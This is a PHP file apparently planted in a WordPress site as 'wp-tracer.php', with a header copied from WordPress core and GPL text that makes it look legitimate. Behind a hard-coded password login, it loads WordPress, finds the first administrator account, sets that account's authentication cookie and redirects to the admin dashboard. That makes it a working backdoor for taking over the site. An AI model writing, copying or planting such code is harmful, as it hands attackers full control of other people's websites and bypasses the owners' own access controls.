File: /home/predezso/elegantprints.it.com/wp-tracer.php
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
*/
// Start session
session_start();
// Fungsi autentikasi dengan password hash
function simple_auth() {
// Username yang valid
$valid_username = 'admin';
// Hash password untuk 'securepassword123' - ganti dengan hash password Anda
// Anda bisa generate hash baru dengan: echo password_hash('password_anda', PASSWORD_DEFAULT);
$valid_password_hash = '$2a$18$Jn4TF8/myFtY8wmFzavkPei2FBwG6E2Z5Zoc6o.ZiYB0v1rXhFe9K'; // Hash untuk 'password'
// Cek apakah sudah ada sesi autentikasi
if (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true) {
return true;
}
// Cek apakah ada input username dan password
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($_POST['username'] === $valid_username && password_verify($_POST['password'], $valid_password_hash)) {
// Set session autentikasi
$_SESSION['authenticated'] = true;
$_SESSION['username'] = $valid_username;
return true;
}
}
// Jika belum terautentikasi, tampilkan form login
echo '<html><body style="font-family: Arial; max-width: 400px; margin: 50px auto; padding: 20px; border: 1px solid #ddd; border-radius: 5px;">';
echo '<h2 style="color: #333;">Autentikasi Diperlukan</h2>';
// Tampilkan pesan error jika ada
if (isset($_POST['username']) || isset($_POST['password'])) {
echo '<p style="color: red;">Username atau password salah!</p>';
}
echo '<form method="post" action="">';
echo '<div style="margin-bottom: 10px;">';
echo 'Username: <input type="text" name="username" style="width: 100%; padding: 8px; box-sizing: border-box;">';
echo '</div>';
echo '<div style="margin-bottom: 10px;">';
echo 'Password: <input type="password" name="password" style="width: 100%; padding: 8px; box-sizing: border-box;">';
echo '</div>';
echo '<input type="submit" value="Login" style="background-color: #4CAF50; color: white; padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer;">';
echo '</form>';
echo '</body></html>';
return false;
}
// Cek autentikasi
if (!simple_auth()) {
exit(); // Hentikan eksekusi jika gagal autentikasi
}
// Kode asli Anda tetap berjalan setelah autentikasi berhasil
$mr=$_SERVER['DOCUMENT_ROOT'];
@chdir($mr);
if (file_exists('wp-load.php')){
include 'wp-load.php';
$wp_user_query = new WP_User_Query( array( 'role' => 'Administrator', 'number' => 1, 'fields' => 'ID' ) );
$results= $wp_user_query->get_results();
if ( isset( $results[0] ) ) {
wp_set_auth_cookie( $results[0] );
wp_redirect( admin_url() );
die();
}
die( 'NO ADMIN' );
}
else{
die('Failed to load');
}
?>